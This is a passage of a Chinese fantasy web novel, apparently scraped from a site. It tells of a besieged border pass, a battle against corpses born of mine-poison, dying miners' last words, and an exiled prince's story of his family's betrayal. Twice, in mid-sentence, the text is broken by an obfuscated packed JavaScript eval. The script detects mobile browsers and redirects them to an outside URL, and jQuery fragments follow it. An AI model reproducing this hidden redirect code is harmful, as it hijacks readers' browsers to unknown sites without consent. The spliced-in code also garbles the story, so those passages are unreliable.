那血丝不是一夜熬出来的——是三年里无数个不能合眼的夜晚,一层一层叠上去的。鬓角沾着一小块灰,袖口磨破了,没来得及缝。身上那件玄色战袍,肩头打着补丁,针脚粗大,歪歪扭扭的,一看就不是女人的手艺——大约是哪个士兵帮他缝的,或者是自己缝的。 他的目光先落在拓宏身上,停了一瞬。兄弟二人对视,没有寒暄,没有拥抱,只是彼此点了一下头——那一下极轻,却像是把三年没有说的话都点在了这一下里。然后他看见了站在拓宏身后的悦然。 他怔住了。 那双熬得通红的眼睛落在她脸上,看了很久。悦然也看着他——看着他那双布满血丝的眼睛,看着他战袍上歪歪扭扭的补丁,看着他那双按在案沿上的手。指节粗粝,掌缘有拉弓磨出的厚茧,手背上横着几道旧疤。这双手三年前是握书卷的,如今是握长枪的。 她眼眶一热,但没有哭。 她知道这个人守了三年的鹤鸣关,不是为了让她今天掉眼泪的。她弯起嘴角,给了他一个笑——含着泪的笑,看见家人的笑。 拓石看着那个笑,喉结动了一下。他迈了一步,走到她面前。他端详了良久,才抬起手,手背朝上,极轻极轻地擦过她眼角还没落下的那点湿意。 带着厚茧的手指,力道极轻,像在拂去一片落在花瓣上的霜。触到那片湿润的时候,他的指尖微不可察地一颤。 然后他收回手,退了一步。 "悦然。"他的声音哑了,"一别三年,你长大了。" "拓石。"她叫了他一声,声音很轻。平等的、关切的、家人之间的问候。 拓石的唇角扯开一丝极淡的笑意。他转向拓宏,目光在他身上扫了一遍——他身姿挺拔,腰间一把长剑,更显英姿锐利。 "二弟。"他说,语气里多了一丝只有兄弟之间才有的东西——是压得很深的、替对方觉得值得的欣慰。他没有说下去,只是抬手在拓宏肩上拍了一下。那一拍很轻,但落下去的时候,他指尖微微发颤。拓宏没有说话,只是抬起手,在他手背上按了一下。 两个人在那一拍一按里,把三年没有说的话都说了。 拓石收回手,转身走向案桌,手指点在地图上,声音已然恢复了将军的沉稳。 "矿洞又塌两处,铁锈尸之数翻了一倍。凛锋自家弹压不住,便出兵犯境,欲转嫁矛盾。此刻主力乃凛锋右将军韩哲——老对手了,三倍于我之兵力,却从不贪功冒进。头一年强攻三次皆被我击退,第三回折损过半,自那以后再不强攻,只是耗着——时遣小股兵力袭扰,夺几处外围哨站,烧几座粮仓。我兵少,追不出去。他耗得起,我耗不起。" "鹤鸣关地形极险,两山夹一谷,是通往曦宇的唯一要道,他绕不过去。"拓石的手指在案上点了点,"地利在我。" "粮草呢?" 拓石沉默了片刻。"莲京粮草,每月一运。然近半年来,运粮车队愈来愈小,间隔愈来愈长。上月仅至三车,勉强够全军食半月。余下半月,我上山挖野菜,与士卒同食。"他看着悦然,没有半点难为情,只是在陈述事实,"故闻你们在杏花村种了三年菜蔬,我便想——待不打仗了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632096|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要去你们那里学学如何种地。你们种的白菜,比我挖的野菜强多了。" 悦然想笑,但笑不出来。她想起杏花村院子里那片菜地,拓宏每天早上都在那里拔草、松土、浇水。她觉得那些是寻常日子。她不知道,拓石在这里连野菜都挖过。 "你刚才说铁锈尸从矿洞中爬出,"悦然问,"矿洞中究竟发生了什么事?可是地底有浊气渗入?" 拓石的眉头微微拧起。"正是。凛锋矿洞近三年塌了七成,非是天灾——乃因他们挖得太深,触到了地底浊脉。浊气自地脉渗出,矿难频发,死于矿中之人遭浊气侵蚀,化作半死不活之行尸。“此等铁锈尸无有意识,却极难杀死——寻常刀剑砍上去只留白痕,斩首亦能蠕动。我军唯有以烈火焚之,或以重锤击碎其关节,方能暂时阻其前行。然矿洞坍塌不断,新的尸骸源源不绝……他们时而驱一波过来,数百具,我须得分兵去挡。挡完铁锈尸,韩哲铁骑便到了。" 悦然听着,眉头越皱越紧。她体内紫蓝双力微微一动——不是她刻意运功,是身体对"浊气"这个词的本能反应。她感知过浊泉深处的沉默与不甘,而此刻拓石描述的,是那些沉默已经化为实体、化为会动的尸骸。她忽然想到一个更深的可能——浊气的源头不只是在雨虹山,地底的浊脉可能在整个蔚魄大陆蔓延,凛锋矿洞触到的也许只是其中一条分支。 "这些铁锈尸,和你之前说的流民——"她忽然想到什么,"那些逃难的矿工和铁匠,他们有没有染上浊气?" "染浊气者我单独隔离了,未染者收进难民营。而后从营中择出通打铁者,编入军匠营,教曦宇士卒补甲、锻铁、修兵器。凛锋铁匠手艺素不传外姓,然这些人——世家视他们如消耗之物,矿塌便换一批,连抚恤皆不发。他们为何要替世家守着手艺?三年下来,军匠营中已有上百从流民中出来之铁匠。" "他们愿意替曦宇做事?" "愿意。因为我给了他们一样凛锋世家从未给过的东西。"拓石的声音很平,但每一个字都落得很实,"尊严。" 他停了片刻,目光落在地图上那些被朱笔圈出的矿脉标记上。 "凛锋矿脉富甲天下,然富的从来不是百姓。矿工下井一日,工钱只够买两碗粥。矿塌了,世家赔一笔钱——若肯赔的话——再换一批新矿工下去。这批矿工之命,尚不及上一批值钱。法令在那里便是一张纸,无人情,无靠山,你连衙门都进不去。世家靠战争发财,王室靠世家养兵。它不打仗,机器就停了。一停,世家要闹,王室要倒。所以他们不光打曦宇,也打瓦鲁,打滨蓝,还贩卖兵器与别国,挑拨别国间关系——滨蓝与曦宇间之嫌隙,便有凛锋在暗中推波助澜。" 帐中沉默了片刻。 拓石的目光落在地图上,手指在那些朱笔圈出的矿脉上轻轻一点,像是在掂量什么。过了好一会儿,他才开口,声音比方才低了些,也缓了些。 "这三年,我看了许多,也想了许多。凛锋之患,非是换一个王便能解的。" 他没有继续往下说,只是把那张地图往案边推了推,像是要把这个想了三年也没想透的问题暂时搁在一旁。 悦然看着地图上那些标记,忽然问:"军中这些从凛锋逃过来的铁匠——将来若要回去,你可有什么打算?" 拓石看了她一眼,又看了拓宏一眼。他没有立刻回答,转身走到帐角木柜前,拉开柜门取出一个布包,放在案上推了过来。布包打开,里面是一叠薄薄的纸片,有些边角被汗浸过,有些带着折叠的折痕。 拓宏拿起最上面那张,纸片上是一行端正的曦宇小篆——"以罪名为准,不牵连族亲,不以情代法。"后面附着一小段朱笔批注,笔迹清秀挺拔,是拓石的字。拓宏没有念出来,将纸片放回案上。 "你已经开始做了?" "先从逃兵开刀。依旧法,逃兵皆斩。改了一律——凡逃兵自首者,举告军内不法事三桩以上,以功抵过,免去刺字。若系被迫逃亡,不惟不罚,尚补发欠饷,安排返乡。"拓石顿了顿,"一年间,逃兵降了三成。其余细目,皆在纸片上。" 拓宏点了点头,没有追问。他知道拓石把想说的都写在了那叠纸片上——他从来不是一个会邀功的人。 悦然的目光落在布包上那些泛黄的纸片边角,忽然问:"那些铁匠回去的时候,你让他们带了什么?" 拓石沉默了片刻。"律法条文。一条一条,写于布上,缝入衣衫夹层中。不必做别的,只管传。他们愿意。因为他们知道,这不是我要他们做的——是他们自己欠那些死在矿洞里的人一个公道。" 他的目光沉静如水,"我让他们带回去的,不过是一些简单的法理规矩——矿主不得私刑、工钱不得克扣、命案须经公审。不是什么惊天动地的变法,只是告诉那些人:这世上还有另一种活法。" 帐外骤然响起一阵急促的脚步声。一个士兵掀帘而入,单膝跪地,声音沙哑而焦急。 "报——凛锋又来犯境!韩哲亲率五千前锋,趁夜越过鹤鸣关西侧山道,已突破外围防线,距此不足三十里!" 拓石的手指在案沿上攥得发白。他低头看着地图上那道防线——能调动的兵力还有多少,能撑多少天,能用多少条命去填那个永远填不满的缺口。然后他抬起头,看着拓宏和悦然,声音稳得像一块铁。 "你们来得正好。先安顿下来,待我回来。" 他拿起靠在案边的长枪,大步向帐外走去。走到帐门口,忽然停了下来,没有回头,只是侧着脸,说了一句很轻的话。像是说给拓宏听的,又像是说给自己听的。 "这三载,鹤鸣关未有一日失守。一日皆无。" 然后他掀开帐帘,走进了边关的夜色。 帐帘落下,案上的油灯晃了一下,把地图上那些标记映得明明灭灭。帐外传来士兵列队的脚步声,整齐而沉重,像一声接一声的闷雷,敲在边关的冻土上。 悦然看着拓石消失的方向,伸手握住了拓宏的手。她听见他在黑暗中极轻极轻地吸了一口气——那是一个人忍了太久之后,终于可以呼吸的声音。 33. 铁锈尸潮 “可怜无定河边骨,犹是春闺梦里人。” ——陈陶《陇西行》 拓石走后,帐中安静了一阵。悦然和拓宏坐在案旁,听着帐外脚步声一队一队远去,渐渐只剩风声。又过了约莫小半个时辰,前方传来急报,拓石被围遇险。拓宏终于起身,点了200梧卫,和悦然两人翻身上马,朝火光的方向赶去。 出营五里,空气里开始有了味道——铁锈味,浓重、发甜、发闷,像把一块生锈的铁按在鼻尖上。马开始不安,甩头打响鼻。拓宏勒住缰绳,示意全军下马步行。 又走了二里,他们看见了战场。 月光下,鹤鸣关西谷口的山坡上黑压压一片。不是兵,是人形——或者说,曾经是人的东西。它们从矿洞方向涌来,沿着山脊、沟壑、河道,密密层层向谷口挤压。没有旗帜,没有号令,只有此起彼伏的嘶哑低吼,像生锈的铰链被硬拽着转动。 谷口火光摇曳。拓石的残部结成圆阵,长枪朝外,枪尖全是崩裂的缺口。圆阵中央,拓石单膝拄着长枪,左肩到右胸一道长长撕裂,玄色战袍被血浸透,暗红发黑。他身后倒着几十个士兵,有的还在动,有的已经不动了。 铁锈尸还在涌。 但这一次,它们不再是远观的黑影。拓宏拔剑,梧卫成扇形散开,将悦然护在中央。第一批铁锈尸已经冲到近前——它们的速度比看上去更快,步伐僵硬却不知疲倦,像被什么力量从背后推着,不顾一切地向前撞。 拓宏一剑劈开当先一具,剑锋切入锈甲时发出刺耳的摩擦声,像砍在铁板上。那具铁锈尸晃了晃,胸口裂开一道口子,却没有倒下——它低头看了看自己胸前的裂口,又抬起头,浑浊的眼球里没有任何痛楚,只有一种茫然的、被牵引的执念。它继续往前扑。拓宏第二剑刺入它咽喉,它才终于仰面倒下,锈水从伤口涌出,在泥土上洇开一片暗红。 梧卫们与他背靠背结成战阵,刀光与嘶吼交织在一起。不断有铁锈尸倒下,又不断有新的涌上来。拓宏的剑越来越沉,每一次劈砍都要用更大的力气才能斩透那层锈甲。一个梧卫被铁锈尸抓住肩膀,锈爪刺入甲片缝隙,生生撕下一块皮肉。他闷哼一声,没有退。另一个梧卫替他挡开后续的攻击,自己的刀却卷了刃。 悦然被十个梧卫护在中心。 她想帮忙,但她不知道该怎么做——紫蓝双力能压制浊泉、能加固阵法,却从未在战场上用过。她看着那些前仆后继的铁锈尸,看着拓宏的背影在火光中一次次举剑、劈砍、回防,看着梧卫们用身体替她挡住一波又一波的冲击。 就在此时,一具铁锈尸从侧翼突破了梧卫的防线,朝她直扑过来。拓宏回身已经来不及——悦然下意识伸手去挡,手掌按在那具铁锈尸的胸口。 触感是冷的。锈甲般粗糙坚硬,像一块生了根的铁板。但她的掌心贴上去的那一刻,紫蓝双力不受控制地涌出,顺着她的指尖渗入那具铁锈尸体内。 那具铁锈尸停住了。 它举起的爪子悬在半空,浑浊的眼球微微转动了一下——不是攻击的前兆,是某种更深的东西在苏醒。它嘴里发出一个含糊的音节,不像嘶吼,更像是人声,是一个人在梦魇里终于听见了有人叫他的名字,想要回应,却发不出完整的句子。 悦然微蹙着眉,看着自己的手,又看着那具忽然安静下来的铁锈尸。它能感受到,它们不是没有知觉的怪物——它们只是被什么东西压住了,压得太深,深到连自己的声音都发不出来。 她转头看向拓宏。“阿泽,我想试试。” 拓宏一剑荡开身前两具铁锈尸,回头看她。他的呼吸还没有平稳,剑身上锈迹混着血痕,剑身还在微微震颤。他看着她的眼睛,点点头,站到她身侧。 “好。我为你护法。” 悦然观察了一下周边地势,转头朝侧方山坡跑去。拓宏紧随其后,梧卫重新列阵,在山坡下筑起一道防线,将涌来的铁锈尸挡在山坡下方。悦然在一处高台站定,面朝战场,闭目,双手于胸前缓缓推出。 紫蓝二力自掌心涌出。起初只是细丝,触到第一具铁锈尸便被弹开——那些怨念太重,太密,穿不进去。她咬紧牙关,双力加压。紫光与蓝光交织缠绕,从细丝变成细流,从细流变成潮涌,一层层铺展开去,像一张巨大的网,从高台向下倾覆,将整片战场笼罩其中。 网落下的那一刻,所有铁锈尸同时停了。嘶哑的呻吟断了,脚步停了,举起的爪子悬在半空。它们站在原地,浑浊的眼球微微转动,像梦魇中的人忽然听见了什么。 就在这时,悦然胸口猛地一痛。 一股力量从地底深处涌上来——不是浊泉那种沉默的、蛰伏的古老,而是更尖锐、更愤怒、更像某种被侵犯了领地之后的狂暴反扑。它顺着紫蓝双力织成的网往上攀爬,像一条冰冷的蛇,缠住了她的经脉。她的手开始发抖,指尖泛出一层诡异的暗红——不是血,是锈。那股力量在反噬她。 拓宏察觉到了异样。她的手在抖,脸色比任何时候都白。 “然然——” “别过来。”她的声音从牙缝里挤出来,“它在和我抢。” 那股力量在和她争夺对这些矿工灵魂的控制权。它不许她碰它们。它们是被它带走的——从矿洞深处,从那道暗红色的光里,它把它们一个一个牵出来,像牵着一群没有名字的牲口。 而现在她在和它抢。它不是铁锈尸,不是浊气,是更古老的东西。 她不认识它,但她能感觉到它的愤怒——那种被夺食的、被侵犯领地的、被一个渺小的人类从手里抢走猎物的恼羞成怒。 她的嘴角渗出一丝血。 拓宏的剑已经拔出来了。他想上前,但铁锈尸群在山坡下忽然暴起,像被那股力量驱策着同时发动了冲锋。梧卫们的防线被压退了三步。他不能走——他若离开这个位置,涌上来的铁锈尸就会直接冲到悦然面前。他握剑的手攥得发白。 悦然闭上了眼睛。她不去管那股反噬的力量了。它要抢,就让它抢。她不和它正面冲突,只是让紫蓝双力变成更细、更密、更柔的丝——不去撬,不去撕,不去对抗。只是渗进去,像雨水渗进干涸的泥土,像母亲的手指穿过孩子的发丝,一层一层地、一点一点地往深处渗。 网越收越紧。那些怨念在紫蓝二力中微微震颤——不是反抗,是松动。像压了多年的矿渣终于被撬开了一道缝。 铁锈尸的动作开始变了。 狂躁的慢慢蹲下来,嘶吼的慢慢闭上了嘴,举着爪的缓缓垂下手。它们的身体在发抖——不是恐惧,是松懈。三年没有松过的筋骨,终于撑不住了。 然后它们开始倒。一具,两具,十具,百具。像秋风扫过枯草地,一片一片伏下去,脸贴着泥土,像是在叩首,又像是在回家。浑浊的眼球里,涣散的瞳孔微微聚拢了一瞬。眼角渗出液体——不是泪,是锈水,锈红色的,顺着覆满锈斑的脸颊淌下来,在泥土上留下一点一点暗红的印。 然后它们合上了眼。 整片战场安静了。只有风从山谷间穿过,吹动那些伏在地上的、不再动弹的身体。拓宏收剑,三步并作两步冲上山坡,握住悦然的手。她的手冰凉,指尖还有没褪尽的暗红痕迹,但脉象平稳,体内的紫蓝双力正在缓缓回旋,填补被反噬耗损的空缺。她抬起头,对他笑了一下——苍白,但稳。 “成了。”她说。 待战场的浊气平息,铁锈尸似是现出了生机——他们还有气息——极微弱,像风中残烛,但还亮着。悦然让梧卫将它们牵引至山脚下一处避风的洼地,分排安置。 回营时,梧冲庭押着后阵赶到了。这三日他一直在后路召集旧部、转运物资,清泉水便是从杏花村运来的补给之一。 悦然让梧卫将清泉水灌入每个铁锈尸口中,每人只喂一小口。喝下水的铁锈尸,身上的锈斑虽然没有消退,但那些硬壳似的锈甲般的皮肤微微软了,绷紧的筋肉松弛下来。有几个的嘴唇翕动了,喉咙里发出含糊的声音——不是呻吟,是在说话。 一个年长的铁锈尸用尽全力拉住了悦然的裙摆。他的手已经不能叫手了——指甲脱落,指节变形,锈壳覆满手背。他拉着的力道很轻,轻得像怕弄脏她的裙子。他张了张嘴,声音像铁器刮过砂石,断断续续,每一个字都要用全身的力气。 “姑娘……求你……给我婆娘带个话……让她照顾好狗儿……不必等我了。” 说完,他的眼角又渗出了锈水。悦然没有说话,只是伸出手,轻轻覆在他覆满锈斑的手背上,点了一下头。他看见她点头,浑浊的眼里有什么东西松了。嘴角动了一下,最终只是缓缓闭上了眼睛。 旁边一个稍年轻的铁锈尸听见了,忽然挣扎着侧过头,锈斑已经蔓延到了下巴,嘴唇翕动了半天才发出声音:“姑娘……也替我带个话……给我娘……就说井下不苦,我一点都不苦。让她莫要日日坐在门槛上等了——她腿不好,天冷就疼。让她回屋里去。” 悦然转过头看着他,也点了一下头。 像是被这两个人打开了什么口子,那些还有一口气的铁锈尸,一个一个发出了声音。不是嘶吼,不是呻吟,是人话——压了数年没有说出口的人话,在生命的最后一点点时间里,像被撬开了封口的陶罐,急急地往外倒。 一个还带着少年轮廓的矿工,锈斑只蔓延到胸口,声音沙哑却急促:“我奶奶的眼睛不好,我不回去,没人给她念信。我妹妹不识字——” 一个骨架宽大的中年人,眼角的锈水已经流尽了,只是干涩地翕动着嘴唇:“我走的那天答应我闺女,她出嫁的时候我要给她打一套铁犁头做嫁妆。你告诉她,爹不是不回来,是没找到回家的路。” 一个瘦小的、看上去不过十五六岁的孩子,手背上全是锈斑,却还紧紧地攥着拳头。他没有托人带话,只是反复念叨着:“我不想死……我还没娶杏花……杏花还在村口等我……” 他的声音越来越低,低到最后只剩下嘴唇在动。悦然握住他攥紧的拳头,那只手很小,指节还没长开,是个半大孩子的手。他的拳头在她掌心里慢慢松开了。 还有一个已经说不出完整句子的老人,喉咙里只能发出嗬嗬的气音,他费力地抬起手指,指着北方——那是他家的方向。他指了很久,然后手落下去,落在地上,指尖还朝着北方。 悦然一个一个听,一个一个点头。她没有哭。她知道这些人不需要眼泪——他们只需要有人在临死前听见他们说的话,然后把这些话带出这片洼地,带到他们再也回不去的家里。 身体稍强一些的,悦然问他们从哪里来,怎么变成这样的。回答是断断续续的,一个人的话接不上,另一个人补半句,拼凑了很久—— 凛锋腹地有一处大矿,叫赤渊矿脉,近三年新开的。矿脉极深,挖了三年还没见底。挖出来的铁矿石与别处不同,色暗质密,锻出的兵器比寻常精钢硬一倍。矿上的人都知道那矿有毒——下井十来天,身上就开始起锈斑,先是指缝,再是关节,然后蔓延全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632097|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。可矿主给的工钱是旁处的三倍,家有老小的,咬着牙也下。 下去的人,没有一个上来过。先是起锈斑,然后发烧、谵妄,再然后就不认人了。死在矿里的人先变,后来连活人也开始变。 他们最后记得的画面是矿洞深处有光——暗红色的光,像矿脉在呼吸。看见那个光之后,就什么都不记得了。醒过来的时候,已经在往曦宇的方向走了,身边全是和自己一样的人,像被什么东西牵着,往同一个方向走。 “不像是自己要走的,”一个锈斑只蔓延到小臂的年轻矿工嘶哑地说,“像是……被叫走的。” 大帐中,梧医正在为拓石包扎伤口。左肩到右胸那一刀深可见骨,左臂甲片整片被撕掉,皮肉翻卷。梧医清创时拓石一声没吭,只是左手攥着行军床边沿,指节泛白。 悦然把从铁锈尸口中听来的情况说了一遍。帐中安静了片刻。拓石低头看着自己缠满绷带的左肩,又看了看地图上赤渊矿脉的位置,手指在那些朱笔圈出的矿脉上轻轻一点。悦然看见他缠着绷带的指尖微微发颤,不知是伤口的痛,还是别的什么。 “这些矿工,”他开口,声音沙哑,“我收容过他们的同伴,用过他们打出来的铁器,听他们讲过矿洞里的情形——却终究未能阻住他们变成这般模样,涌向我的阵前。” 他沉默了片刻,抬起眼。 “铁锈尸之源头,在矿洞之中。杀再多尸,不封矿洞,终是扬汤止沸。” 他的目光从地图上移开,落在拓宏和悦然身上,“需得先探明矿洞内之情状——地底究竟是何物在驱策那些东西,寻到浊脉之源,方可从根上封堵。” “你伤重未愈,不可妄动。”拓宏说,“且凛锋人认得你。” “你伤得这么重,不能去。”悦然看向拓石,语气没有商量,“矿下如果真有浊气,受了伤的人更容易被感染。你守了三年鹤鸣关,如今该歇一歇了。我去就行了。”” “那便我去。”拓宏开口,“我怎可让你一人独往。” “谁说我要一个人去?”悦然转过头看他,“我要跟你一起啊。” 拓石眉头微拧。“矿下凶险莫测——” “你忘了?”悦然截住他的话,嘴角微微一弯,“我是不会死的。受了伤也会愈合,你是最不需要担心我的那个人。至于拓宏——”她偏头看了他一眼,“我也会保护好他的。” 拓宏的脸微微僵了一瞬。他垂下眼,耳根隐隐泛红。他抿着唇没有说话,只是抬手将悦然往自己身后轻轻一带,站到了她身前,面朝拓石。“我二人同去。” 拓石看着他们,目光在拓宏那不自在的红晕和悦然坦然的神情之间停了一瞬。然后他没有再说什么,只是极轻地点了一下头。“梧卫会在矿洞外接应。” 拓石看着悦然,又看着拓宏,终究没有说出更多反对的话。 同一时刻,莲京,茗轩宫。 宇文轩又咳了一阵。他拿帕子按住嘴,帕角洇开一小片暗红。他把帕子叠好,塞回袖中,抬眼看向坐在对面的人。 那个人穿着拓夏的衣裳,用着拓夏的茶杯,连翻折书页的动作都和拓夏一模一样。三年了,他已经活成了拓夏的样子,连宇文轩偶尔都会恍惚。但他不是拓夏。 “这个月的丹药。”假拓夏倩婷将一只青瓷小盏推过桌面。 宇文轩没有去拿,只是用指尖轻轻拨动着茶盏的边沿。那茶盏是当年梧苒留下的旧物,盏口有一道极细的裂纹,是很多年前他不小心碰出来的。后来他再也没有换过。 “每月一粒,吊着朕的命,却不肯治断根。无非是想留个筹码——只要朕还需这丹药,你便尚有讨价还价的余地。” 倩婷笑了笑。“王上明鉴。若我一回治好殿下,王上还肯见我么?还是那句话,不如趁早放我离去。” “放你走,你便治好朕?让朕再活五十年?” “至少五十年。”倩婷语气认真,“殿下这副身子,没有我的药,撑不过明年开春。放我走,我亲手将殿下治好,以命起誓,绝无虚言。” 宇文轩端起茶杯,喝了一口。 茶凉了,他也不在意。他的目光越过杯沿,落在窗外那棵枯樱上——梧苒死后,那棵树一直没开过花。他忽然想起梧苒最后一次来茗轩宫的时候,穿了一件淡紫色的衣裳,站在这棵樱树下,仰头看花。她说,这棵树春天开花的时候,一定很好看。他说,那明年春天你来看。她没有等到明年春天。 “活那般久做什么?”他说,声音很轻,像是说给自己听的,“最爱之人不在了,最爱朕之人亦不在了。朕如今活着,不过盼着三个孩子长到能独当一面的那日。” 他放下茶杯,看向倩婷。 “至于你——朕不欲知晓你为何扮作拓夏。然朕不会放你出去,给朕的孩儿添乱。” 倩婷沉默了片刻。她的手指在桌下微微蜷紧,指甲掐入掌心,面上却不动声色。“我只想带煦审年走。其余一切,不碰,不动,不坏。” “煦审年不能给你。”宇文轩的语气没有商量,“何况,他如今留在曦宇,并非朕不放他——是他自己要守在那里。” 他说完,长长呼了一口气。 倩婷正要再开口,殿外忽然传来急促的脚步声。一个内侍匆匆叩门,声音发颤: “殿下!瓦鲁王子元炀崎求见——身负重伤,言有十万火急之事!” 宇文轩放下茶盏,盏底磕在桌面,发出一声脆响。 “传。” 34. 宇文炀崎 “本是同根生,相煎何太急。” ——曹植《七步诗》 宇文轩寝宫的门被推开时,他看见了一团破布。 破布裹着一具瘦骨嶙峋的身子,头发结成硬块,脸上糊着干涸的血与泥,衣衫烂成条缕,露出的皮肤上全是伤——刀伤、擦伤、鞭痕,新旧叠着,分不清哪道是前日的,哪道是上月的。 他站在门槛上,站不稳,晃了一下,扶住了门框。看了那人许久,才从那张满是泥垢的脸上认出昔日的轮廓。 “元炀崎?” 上一次见这孩子,还是三年前。那夜五行阵中,他尚是十五岁的少年,眉目间锐气逼人。事后他本欲将这孩子扣在莲京为质,不想此子狡猾,不出三日便寻隙逃出宫去,自此再无音讯。如今他站在寝宫门口,像一条被打断了腿的犬。 “大伯。”他跪了下来——不是行礼,是站不住了,膝盖直接砸在地砖上,发出一声闷响,“求您……救救崎儿。” 宇文轩没有立刻叫他起来,只是低头看着他。“何人伤你?” “我父、我母、我弟。”元炀崎一字一顿,声音平得像在说一桩与己无关之事,“他们联手,要杀我。” 宇文轩的手微微收紧。他没有追问,只是站在那里,等他说下去。 元炀崎低着头,说了起来。 他说瓦鲁的宫变,起初不是冲他来的。数月前,朝中几位重臣不堪元乾连年征战、横征暴敛,联手起兵反抗。叛军攻入王都,将元乾困在宫中月余。他在宫外闻讯,率麾下仅存的亲兵杀出一条血路,解了宫中之围。他冲进大殿时浑身是血,元乾坐在王座上,握着他的手说:吾儿救了父王,吾儿才是瓦鲁真正的储君。 “我信了。”元炀崎的声音没有起伏,“我交还兵符,卸了甲,回偏殿换药。那日我弟弟领人冲进来的时候,我左臂的刀伤还没包扎完。” 他说到这里,嘴角忽然扯了一下——不是笑,是肌肉不受控制地抽搐。 “他的侍卫把我按在地上,我母后端着毒酒站在他身后。我父未来。后来我方知——那几位重臣为什么要反?因为我父连年征兵,他们的儿子被编入先锋,全死在前线了。我解围那日,叛军首领被押到殿前,他只说了一句话:‘元乾,你有儿子,我也有儿子。你的儿子救了你,我的儿子死在了凛锋,死在你……’我父没有听完,拔剑砍了他的头。” 他抬起眼,看着宇文轩。 “而我弟站在他身后,看着那颗人头滚落台阶,面无表情。那一刻他大概已经想好了——杀完叛军,下一个就杀我。” 寝宫极静。 “那日我才明白,这十余年,我不过是个靶子。在外招摇的是我,树敌的是我,各国要除的是我。他们着力培养的、用心护着的,从来都是他。我不过是个摆在外面给人看的幌子,一个替弟弟挡刀挡箭的活靶。” 他抬起头,看着宇文轩。那双眼睛里没有泪,只有一种被烧干了之后剩下的空洞。 “可我竟信了。信了十余年。信到他们亲手把这套弱肉强食的杀戮之法用在我身上,我才知道疼。” 宇文轩沉默地看着他。 元乾——宇文阚,同一个人。当年他是曦宇二王子宇文阚——宇文轩的亲弟弟。只因宇文轩身负灵宙,被立为储君,宇文阚始终不服,数次谋害未遂。后来宇文轩在梧苒相助下登基,宇文阚夺位失败,连夜出逃,远走瓦鲁,以武力攻下瓦鲁旧主,改名元乾,自立为国君。从此兄弟陌路,曦宇的二王子成了瓦鲁的王。 弱肉强食。宇文阚把这四个字带去了瓦鲁,种在了自己儿子的骨血里。如今,这把刀砍回了他的长子身上。 “你如何逃出来的?” “应是拓宏的梧卫救了我。”元炀崎抬头看了他一眼,“他在杏花村时所遣梧卫,潜入瓦鲁王宫将我捞了出来。他的人只留了一句话——余下之路,你自己走。” 宇文轩没有说话。这像拓宏的做派——该救的救,救完不邀功、不攀交。 “后来呢?” “乞讨。自瓦鲁至曦宇,一路乞讨而来。” 元炀崎顿了顿。他没有立刻说下去,像是在组织语言,又像是在回忆某些不愿回忆的画面。 “梧桐谷中,我养了几日伤。躺在床上动弹不得之时,忽然想起许多事。想起这些年我在瓦鲁杀过的人、得罪过的人、踩在脚底的人。想起我父教我那些话——强者为尊,弱者该死。想起我娘替我弟弟整衣领时,手指翻得很慢,像是在料理一件她最满意的作品。从前我以为那些都是天经地义。躺在那里望着屋顶漏进来的月光,忽而觉得——活了十余年,我从未问过自己,这些事对不对。” 他停了片刻,低下头。 “伤愈后继续赶路。一路走过瓦鲁七城、十余村镇,看见了许多事。” “何事?”宇文轩问。 “瓦鲁东境有座涸城。两年前两族争水,先械斗,后屠村。赢者杀输者六百余口,老幼不留。隔年,输族残部卷土重来,将赢族也屠了。如今涸城无活人,唯有野犬在街上啃骨头。瓦鲁南境赤沙镇,一领主杀另一领主,只因他的羊踩过了界。被杀领主之幼子,年方九岁,领人灭了仇家满门,将人头悬于城墙,晒了三日。百姓围着看,无人哭,无人拦,有人甚至叫好。” 他越说越慢,每一句话都像是从记忆深处拖出来的,拖得很费力。 “我经瓦鲁都城外最大集市,见一妇人当街被打死。她偷了一个馒头。打她者是铺子老板,围观者是过往行人,无一人说话。她倒在地上,血从脑侧流出来,那个馒头还攥在她手里——始终不曾松开。她身旁有个三四岁的孩子,趴在她身上,将那馒头从她手里掰出来,往她嘴里塞,说:娘,你吃,你吃啊。” 元炀崎的声音忽然哽了一下。 “我立于彼处,看着那孩子。忽然想起我弟弟。” 他抬起眼,看着宇文轩。 “我弟今年十二岁。我像他这般大的时候,我父第一次带我上猎场,让我亲手杀一个逃奴。我不肯。他说,你是瓦鲁的储君,你不杀他,他便杀你。我杀了。那个逃奴死前看着我,眼睛和这个孩子一样——空空的,什么都没有,只有我。” 他停了很久。 “从前,我以为瓦鲁没有错。弱肉强食,天经地义。然我一路走过来,看见的全是这个道理结出的果子——冤冤相报,永无止境。杀人的,终被人杀。屠村的,终被屠村。以暴制暴,以血偿血,到最后没有赢家,只剩一地白骨与趴在死人身上往嘴里塞馒头的孩子。以暴止暴,仇恨只会越滚越大。杀了仇人,仇人之子再来杀你。你的儿子再杀仇人之子。世世代代,没有尽头。” 他停了下来,像是被什么东西哽住了。宇文轩没有催他。 “朕问你,”宇文轩的声音沉了下去,“你还想救瓦鲁吗?” 元炀崎抬起头,看着宇文轩。他没有立刻回答,那双眼睛里有挣扎——不是犹豫,是答案已经到了嘴边,他自己却还在辨认它的形状。 